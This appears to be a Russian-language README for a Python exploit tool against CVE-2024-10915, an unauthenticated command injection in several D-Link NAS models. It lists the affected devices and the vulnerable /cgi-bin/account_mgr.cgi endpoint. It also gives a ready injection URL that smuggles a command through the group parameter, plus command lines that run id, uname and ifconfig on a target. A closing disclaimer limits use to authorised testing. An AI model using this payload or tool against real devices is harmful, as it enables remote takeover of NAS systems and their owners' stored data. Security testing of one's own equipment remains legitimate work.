
Эксплойт на Python для CVE-2024-10915, уязвимости внедрения команд в устройствах D-Link NAS. Выполняет произвольные системные команды через конечную точку /cgi-bin/account_mgr.cgi для авторизованного тестирования безопасности.
Этот эксплойт на Python предназначен для уязвимости внедрения команд в нескольких продуктах D-Link NAS через конечную точку /cgi-bin/account_mgr.cgi?cmd=cgi_user_add. Уязвимость позволяет неаутентифицированным злоумышленникам выполнять произвольные системные команды на затронутом устройстве.
CVE-2024-10915 затрагивает несколько моделей D-Link NAS. Злоумышленник может внедрять команды через параметр group в команде cgi_user_add, что приводит к удаленному выполнению кода.
D-Link DNS-320
D-Link DNS-320LW
D-Link DNS-325
D-Link DNS-340L
Уязвимая конечная точка: /cgi-bin/account_mgr.cgi?cmd=cgi_user_add
http://192.168.1.100/cgi-bin/account_mgr.cgi?cmd=cgi_user_add&group=';id;'
Python 3.x
requests library
Установите необходимые зависимости:
pip3 install requests
usage: dlink_nas_rce_cve_2024_10915.py [-h] [-u URL] [-c COMMAND] [-p PROXY] [-o OUTPUT] [-l]
python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "id" -p "http://127.0.0.1:8080" -o results.txt
python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "uname" -p "http://127.0.0.1:8080" -o results.txt
python3 dlink_nas_rce_cve_2024_10915.py -u "http://TARGET_IP" -c "ifconfig" -p "http://127.0.0.1:8080" -o results.txt
Этот проект предназначен только для образовательных целей и авторизованного тестирования. Не используйте этот инструмент в сетях или системах, на которые у вас нет явного разрешения. Авторы не несут ответственности за любое неправомерное использование или причиненный ущерб.
| Параметр | Описание |
|---|
-u / --url | Базовый URL цели (например, http://192.168.1.100) |
-c / --command | Команда для выполнения на устройстве (по умолчанию: id) |
-p / --proxy | Использовать HTTP-прокси (например, http://127.0.0.1:8080) |
-o / --output | Сохранить HTTP-ответ в файл |
-l / --list | Вывести список затронутых продуктов D-Link NAS |